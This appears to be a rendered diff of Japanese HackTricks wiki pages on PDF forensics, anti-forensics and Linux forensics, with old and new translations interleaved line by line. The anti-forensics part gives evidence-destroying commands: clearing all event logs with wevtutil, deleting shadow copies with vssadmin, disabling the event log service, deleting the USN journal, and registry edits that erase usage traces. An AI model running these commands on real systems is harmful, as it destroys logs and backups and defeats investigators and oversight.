* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって**パワード**された**ワークフローを簡単に構築**および**自動化**します。\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスしてください 今すぐアクセスを取得
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
**詳細については、次をチェックしてください:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) **詳細については、次を確認してください:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
PDF形式は、データを隠す可能性が高い複雑さで知られており、CTFフォレンジックチャレンジの焦点となっています。プレーンテキスト要素とバイナリオブジェクトを組み合わせ、圧縮されたり暗号化されたりする可能性があり、JavaScriptやFlashなどの言語でスクリプトを含むことができます。PDFの構造を理解するためには、Didier Stevensの[入門資料](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/)を参照するか、テキストエディタやOrigamiなどのPDF固有のエディタを使用することができます。 PDF形式は、その複雑さとデータを隠す可能性で知られており、CTFフォレンジックチャレンジの焦点となっています。これは、プレーンテキスト要素とバイナリオブジェクトを組み合わせており、圧縮または暗号化される可能性があり、JavaScriptやFlashなどの言語でスクリプトを含むことがあります。PDF構造を理解するには、Didier Stevensの[入門資料](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/)を参照するか、テキストエディタやOrigamiなどのPDF専用エディタを使用できます。
PDFを詳細に探索または操作するためには、[qpdf](https://github.com/qpdf/qpdf)や[Origami](https://github.com/mobmewireless/origami-pdf)などのツールが利用可能です。PDF内の隠されたデータは、次のように隠されている可能性があります: PDFの詳細な探索や操作には、[qpdf](https://github.com/qpdf/qpdf)や[Origami](https://github.com/mobmewireless/origami-pdf)などのツールが利用可能です。PDF内の隠されたデータは、以下の場所に隠されている可能性があります:
* 不可視のレイヤー * 見えないレイヤー
* AdobeのXMPメタデータ形式 * AdobeのXMPメタデータ形式
* インクリメンタルジェネレーション * 増分生成
* 背景と同じ色のテキスト * 背景と同じ色のテキスト
* 画像の後ろのテキストまたは画像の上に重なるテキスト * 画像の背後にあるテキストや重なり合った画像
* 非表示のコメント * 表示されていないコメント
カスタムPDF分析のためには、[PeepDF](https://github.com/jesparza/peepdf)などのPythonライブラリを使用して、独自の解析スクリプトを作成できます。さらに、PDFの隠されたデータストレージの可能性は非常に広範囲であり、NSAによるPDFのリスクと対策に関するガイドなどのリソースは、元の場所でホストされていないものの、貴重な洞察を提供しています。ガイドの[コピー](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf)やAnge Albertiniによる[PDF形式のトリック](https://github.com/corkami/docs/blob/master/PDF/PDF.md)のコレクションは、このトピックに関するさらなる読書を提供できます。 カスタムPDF分析には、[PeepDF](https://github.com/jesparza/peepdf)のようなPythonライブラリを使用して、特注のパーススクリプトを作成できます。さらに、PDFの隠されたデータストレージの可能性は非常に広範であり、NSAのPDFリスクと対策に関するガイドのようなリソースは、もはや元の場所にホストされていませんが、貴重な洞察を提供します。[ガイドのコピー](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf)や、Ange Albertiniによる[PDF形式のトリックのコレクション](https://github.com/corkami/docs/blob/master/PDF/PDF.md)は、このテーマに関するさらなる読み物を提供します。
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %}

View file

@ -1,161 +1,179 @@
# 反フォレンジック技術 # アンチフォレンジック技術
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使用して、<strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングのトリックを共有してください。**
- [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする
- **ハッキングテクニックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details> </details>
{% endhint %}
## タイムスタンプ ## タイムスタンプ
攻撃者は**ファイルのタイムスタンプを変更**して検出を回避する可能性があります。\ 攻撃者は、**ファイルのタイムスタンプを変更すること**に興味があるかもしれません。\
MFT内の属性`$STANDARD_INFORMATION`と`$FILE_NAME`にタイムスタンプを見つけることができます。 タイムスタンプは、MFT内の属性`$STANDARD_INFORMATION` \_\_ \_\_ `$FILE_NAME`に見つけることができます。
両方の属性には4つのタイムスタンプがあります**変更**、**アクセス**、**作成**、**MFTレジストリ変更**MACEまたはMACB 両方の属性には4つのタイムスタンプがあります**変更**、**アクセス**、**作成**、および**MFTレジストリ変更**MACEまたはMACB
**Windowsエクスプローラ**や他のツールは**`$STANDARD_INFORMATION`**から情報を表示します。 **Windowsエクスプローラ**や他のツールは**`$STANDARD_INFORMATION`**から情報を表示します。
### TimeStomp - フォレンジックツール ### TimeStomp - アンチフォレンジックツール
このツールは**`$STANDARD_INFORMATION`**内のタイムスタンプ情報を**変更**しますが、**`$FILE_NAME`**内の情報は**変更しません**。そのため、**疑わしい活動を特定**することが可能です このツールは**`$STANDARD_INFORMATION`**内のタイムスタンプ情報を**変更**しますが、**`$FILE_NAME`**内の情報は**変更しません**。したがって、**疑わしい** **活動を特定することが可能です**
### Usnjrnl ### Usnjrnl
**USN Journal**Update Sequence Number JournalNTFSWindows NTファイルシステムの機能で、ボリュームの変更を追跡します。[**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv)ツールを使用してこれらの変更を調査できます。 **USNジャーナル**(更新シーケンス番号ジャーナル)は、NTFSWindows NTファイルシステムの機能で、ボリュームの変更を追跡します。[**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv)ツールを使用すると、これらの変更を調査できます。
![](<../../.gitbook/assets/image (801).png>) ![](<../../.gitbook/assets/image (801).png>)
述の画像は、ファイルにいくつかの変更が加えられたことが示されているツールの**出力**です。 の画像は、**ツール**によって表示された**出力**で、ファイルに対して**いくつかの変更が行われた**ことが観察できます。
### $LogFile ### $LogFile
ファイルシステムへのすべてのメタデータ変更は、[先行ログ記録](https://en.wikipedia.org/wiki/Write-ahead\_logging)としてログに記録されます。記録されたメタデータは、NTFSファイルシステムのルートディレクトリにある`**$LogFile**`という名前のファイルに保持されます。[LogFileParser](https://github.com/jschicht/LogFileParser)などのツールを使用して、このファイルを解析し変更を特定できます。 **ファイルシステムへのすべてのメタデータ変更は**、[書き込み先行ログ](https://en.wikipedia.org/wiki/Write-ahead_logging)として知られるプロセスでログに記録されます。ログに記録されたメタデータは、NTFSファイルシステムのルートディレクトリにある`**$LogFile**`という名前のファイルに保持されます。[LogFileParser](https://github.com/jschicht/LogFileParser)のようなツールを使用して、このファイルを解析し変更を特定できます。
![](<../../.gitbook/assets/image (137).png>) ![](<../../.gitbook/assets/image (137).png>)
再び、ツールの出力では、**いくつかの変更が行われた**ことがわかります。 再び、ツールの出力では、**いくつかの変更が行われた**ことが確認できます。
同じツールを使用して、**タイムスタンプがいつ変更されたか**を特定できます 同じツールを使用して、**タイムスタンプが変更された時刻を特定することが可能です**
![](<../../.gitbook/assets/image (1089).png>) ![](<../../.gitbook/assets/image (1089).png>)
- CTIMEファイルの作成時刻 * CTIME: ファイルの作成時刻
- ATIMEファイルの変更時刻 * ATIME: ファイルの変更時刻
- MTIMEファイルのMFTレジストリの変更 * MTIME: ファイルのMFTレジストリ変更
- RTIMEファイルのアクセス時刻 * RTIME: ファイルのアクセス時刻
### `$STANDARD_INFORMATION`と`$FILE_NAME`の比較 ### `$STANDARD_INFORMATION`と`$FILE_NAME`の比較
疑わしい変更されたファイルを特定する別の方法は、両方の属性の時間を比較し**不一致**を探すことです。 疑わしい変更されたファイルを特定する別の方法は、両方の属性の時間を比較し**不一致**を探すことです。
### ナノ秒 ### ナノ秒
**NTFS**のタイムスタンプは**100ナの精度**を持ちます。そのため、2010-10-10 10:10:**00.000:0000のようなタイムスタンプを持つファイルは非常に疑わしいです**。 **NTFS**のタイムスタンプは**100ナ**の**精度**を持っています。したがって、2010-10-10 10:10:**00.000:0000のようなタイムスタンプを持つファイルを見つけることは非常に**疑わしい**です
### SetMace - フォレンジックツール ### SetMace - アンチフォレンジックツール
このツールは、`$STARNDAR_INFORMATION`と`$FILE_NAME`の両方の属性を変更できます。ただし、Windows Vista以降では、この情報を変更するにはライブOSが必要です。 このツールは、両方の属性`$STARNDAR_INFORMATION`と`$FILE_NAME`を変更できます。ただし、Windows Vista以降は、ライブOSでこの情報を変更する必要があります。
## データ隠蔽 ## データ隠蔽
NFTSはクラスターと最小情報サイズを使用します。つまり、ファイルが1つのクラスターと半分を占有している場合、**残りの半分はファイルが削除されるまで使用されません**。そのため、このスラックスペースにデータを**隠すことが可能**です NFTSはクラスターと最小情報サイズを使用します。つまり、ファイルがクラスターと半分を占有している場合、**残りの半分はファイルが削除されるまで使用されません**。したがって、このスラックスペースに**データを隠すことが可能です**
この「隠された」スペースにデータを隠すことができるslackerなどのツールがあります。ただし、`$logfile`と`$usnjrnl`の分析により、データが追加されたことがわかります: slackerのようなツールを使用すると、この「隠された」スペースにデータを隠すことができます。ただし、`$logfile`や`$usnjrnl`の分析により、いくつかのデータが追加されたことが示される可能性があります:
![](<../../.gitbook/assets/image (1060).png>) ![](<../../.gitbook/assets/image (1060).png>)
その後、FTK Imagerなどのツールを使用してスラックスペースを取得できます。この種のツールは、コンテンツを難読化したり、暗号化したりすることができることに注意してください その後、FTK Imagerのようなツールを使用してスラックスペースを取得することが可能です。この種のツールは、内容を難読化または暗号化して保存することができます
## UsbKill ## UsbKill
これは、USBポートの変更が検出されるとコンピューターを**シャットダウン**するツールです。\ これは、**USB**ポートに変更が検出された場合にコンピュータを**シャットダウンする**ツールです。\
これを発見する方法は、実行中のプロセスを検査し、**実行中の各Pythonスクリプトを確認**することです。 これを発見する方法は、実行中のプロセスを検査し、**実行中の各Pythonスクリプトをレビューする**ことです。
## ライブLinuxディストリビューション ## ライブLinuxディストリビューション
これらのディストリビューションは**RAMメモリ内で実行**されます。NTFSファイルシステムが書き込み権限でマウントされている場合にのみ、侵入を検出することが可能です。読み取り権限でマウントされている場合は、侵入を検出することはできません。 これらのディストリビューションは**RAM**メモリ内で**実行されます**検出する唯一の方法は、**NTFSファイルシステムが書き込み権限でマウントされている場合**です。読み取り権限のみでマウントされている場合、侵入を検出することはできません。
## 安全な削除 ## セキュア削除
[https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization) [https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization)
## Windows設定 ## Windows設定
フォレンジック調査を困難にするために、Windowsのさまざまなログ記録方法を無効にすることが可能です。 フォレンジック調査を非常に困難にするために、いくつかのWindowsログ記録方法を無効にすることが可能です。
### タイムスタンプの無効化 - UserAssist ### タイムスタンプの無効化 - UserAssist
これは、ユーザーが実行した各実行可能ファイルの日付と時刻を維持するレジストリキーです。 これは、ユーザーによって各実行可能ファイルが実行された日時を保持するレジストリキーです。
UserAssistを無効にするには、2つの手順が必要です: UserAssistを無効にするには、2つのステップが必要です:
1. `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs`と`HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`の2つのレジストリキーをゼロに設定して、UserAssistを無効にしたいことを示します。 1. `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs`と`HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`の2つのレジストリキーをゼロに設定して、UserAssistを無効にすることを示します。
2. `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`のようなレジストリサブツリーをクリアします。 2. `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`のようなレジストリサブツリーをクリアします。
### タイムスタンプの無効化 - Prefetch ### タイムスタンプの無効化 - Prefetch
これは、Windowsシステムのパフォーマンスを向上させることを目的として実行されたアプリケーションに関する情報を保存します。ただし、これはフォレンジック実践にも役立ちます。 これは、Windowsシステムのパフォーマンスを向上させる目的で実行されたアプリケーションに関する情報を保存します。ただし、これはフォレンジック実践にも役立ちます。
- `regedit`を実行します * `regedit`を実行
- ファイルパス`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`を選択します * ファイルパス`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`を選択
- `EnablePrefetch`と`EnableSuperfetch`の両方を右クリックし、それぞれの「変更」を選択して、値を1または3から0に変更します * `EnablePrefetcher`と`EnableSuperfetch`の両方を右クリック
- 再起動します * 各々を変更して、値を1または3から0に変更
* 再起動
### タイムスタンプの無効化 - 最終アクセス時刻 ### タイムスタンプの無効化 - 最終アクセス時刻
Windows NTサーバーのNTFSボリュームからフォルダーが開かれるたびに、システムは**リストされたフォルダーのタイムスタンプフィールドを更新**します。これを最終アクセス時刻と呼びます。使用頻度の高いNTFSボリュームでは、これがパフォーマンスに影響する可能性があります。 NTFSボリュームからフォルダーが開かれるたびに、システムは**リストされたフォルダーのタイムスタンプフィールドを更新するための時間を取ります**。これは、最終アクセス時刻と呼ばれます。NTFSボリュームが頻繁に使用される場合、これがパフォーマンスに影響を与える可能性があります。
1. レジストリエディタRegedit.exeを開きます。 1. レジストリエディタRegedit.exeを開きます。
2. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`に移動します。 2. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`に移動します。
3. `NtfsDisableLastAccessUpdate`を探します。存在しない場合は、このDWORDを追加し、その値を1に設定してプロセスを無効にします。 3. `NtfsDisableLastAccessUpdate`を探します。存在しない場合は、このDWORDを追加し、その値を1に設定してプロセスを無効にします。
4. レジストリエディタを閉じ、サーバーを再起動します。 4. レジストリエディタを閉じ、サーバーを再起動します。
### USB履歴の削除 ### USB履歴の削除
すべての**USBデバイスエントリ**は、Windowsレジストリの**USBSTOR**レジストリキーの下に保存されます。このキーには、PCやラップトップにUSBデバイスを接続するたびに作成されるサブキーが含まれています。このキーはここにあります`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`。**これを削除**するとUSBの履歴が削除されます。\ すべての**USBデバイスエントリ**は、PCまたはラップトップにUSBデバイスを接続するたびに作成されるサブキーを含む**USBSTOR**レジストリキーの下にWindowsレジストリに保存されます。このキーは`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`にあります。**これを削除することで**、USB履歴を削除します。\
また、[**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html)ツールを使用して削除したことを確認することもできます(および削除することもできます)。 また、[**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html)ツールを使用して削除したことを確認することもできます(および削除するために)。
USBに関する情報を保存する別のファイルは、`C:\Windows\INF`内の`setupapi.dev.log`ファイルです。これも削除する必要があります。 USBに関する情報を保存する別のファイルは、`C:\Windows\INF`内の`setupapi.dev.log`ファイルです。これも削除する必要があります。
### シャドウコピーの無効化 ### シャドウコピーの無効化
`vssadmin list shadowstorage`でシャドウコピーを**リスト**します\ **シャドウコピーをリスト**するには、`vssadmin list shadowstorage`を実行\
`vssadmin delete shadow`を実行してそれらを**削除**します **削除**するには、`vssadmin delete shadow`を実行します。
[https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)で提案された手順に従ってGUIからも削除できます。 GUIを介して削除することも可能で、[https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)で提案された手順に従います。
シャドウコピーを無効にするには[ここからの手順](https://support.waters.com/KB\_Inf/Other/WKB15560\_How\_to\_disable\_Volume\_Shadow\_Copy\_Service\_VSS\_in\_Windows)に従います シャドウコピーを無効にするには、[こちらの手順](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows)を参照してください
1. Windowsスタートボタンをクリックした後、テキスト検索ボックスに「services」と入力してサービスプログラムを開きます。 1. Windowsスタートボタンをクリックした後、テキスト検索ボックスに「services」と入力してサービスプログラムを開きます。
2. リストから「Volume Shadow Copy」を見つけ、右クリックしてプロパティにアクセスします。 2. リストから「Volume Shadow Copy」を見つけて選択し、右クリックしてプロパティにアクセスします。
3. 「起動の種類」ドロップダウンメニューから「無効」を選択し、変更を適用してOKをクリックします。 3. 「スタートアップの種類」ドロップダウンメニューから「無効」を選択し、変更を適用してOKをクリックします。
また、レジストリ`HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`でコピーされるファイルの構成を変更することも可能です。 シャドウコピーでコピーされるファイルの構成を変更することも、レジストリ`HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`で可能です。
### 削除されたファイルの上書き ### 削除されたファイルの上書き
* **Windowsツール**を使用できます:`cipher /w:C` これにより、cipherにCドライブ内の未使用ディスク領域からデータを削除するよう指示されます。 * **Windowsツール**を使用できます:`cipher /w:C` これは、Cドライブ内の未使用のディスクスペースからデータを削除するようにcipherに指示します。
* [**Eraser**](https://eraser.heidi.ie)のようなツールも使用できます * [**Eraser**](https://eraser.heidi.ie)のようなツールを使用することもできます。
### Windowsイベントログの削除 ### Windowsイベントログの削除
* Windows + R --> eventvwr.msc --> "Windows Logs"を展開 --> 各カテゴリを右クリックして「ログをクリア」を選択 * Windows + R --> eventvwr.msc --> 「Windowsログ」を展開 --> 各カテゴリを右クリックして「ログをクリア」を選択
* `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"` * `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
* `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }` * `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
### Windowsイベントログの無効化 ### Windowsイベントログの無効化
* `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f` * `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
* サービスセクション内でサービス「Windows Event Log」を無効にします * サービスセクション内で「Windows Event Log」サービスを無効にします
* `WEvtUtil.exec clear-log`または`WEvtUtil.exe cl` * `WEvtUtil.exec clear-log`または`WEvtUtil.exe cl`
### $UsnJrnlの無効化 ### $UsnJrnlの無効化
* `fsutil usn deletejournal /d c:` * `fsutil usn deletejournal /d c:`
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングのトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,37 +1,38 @@
# Linuxフォレンジクス # Linux Forensics
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスしてください 今すぐアクセスを取得
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してハッキングトリックを共有してください。**
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを発見してください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。
</details> </details>
{% endhint %}
## 初期情報収集 ## 初期情報収集
### 基本情報 ### 基本情報
まず第一に**USB**に**良く知られたバイナリとライブラリ**単にUbuntuを取得してフォルダ_bin、_ / sbin、_ / lib、および_lib64_をコピーできますを持っていることが推奨されます。その後、USBをマウントし、環境変数を変更してそれらのバイナリを使用します: まず、**良く知られたバイナリとライブラリが入った**いくつかの**USB**を持っていることをお勧めしますubuntuを取得して、フォルダ _/bin_, _/sbin_, _/lib,_ および _/lib64_ をコピーするだけで済みます、次にUSBをマウントし、これらのバイナリを使用するように環境変数を変更します:
```bash ```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
``` ```
一度システムを良いものや既知のバイナリを使用するように設定したら、**基本情報の抽出**を開始できます: システムを良好で既知のバイナリを使用するように設定したら、**基本的な情報を抽出し始める**ことができます:
```bash ```bash
date #Date and time (Clock may be skewed, Might be at a different timezone) date #Date and time (Clock may be skewed, Might be at a different timezone)
uname -a #OS info uname -a #OS info
@ -51,45 +52,45 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
``` ```
#### 疑わしい情報 #### 疑わしい情報
基本情報を取得する際に、次のような奇妙な点をチェックする必要があります: 基本情報を取得する際には、以下のような奇妙な事柄を確認する必要があります:
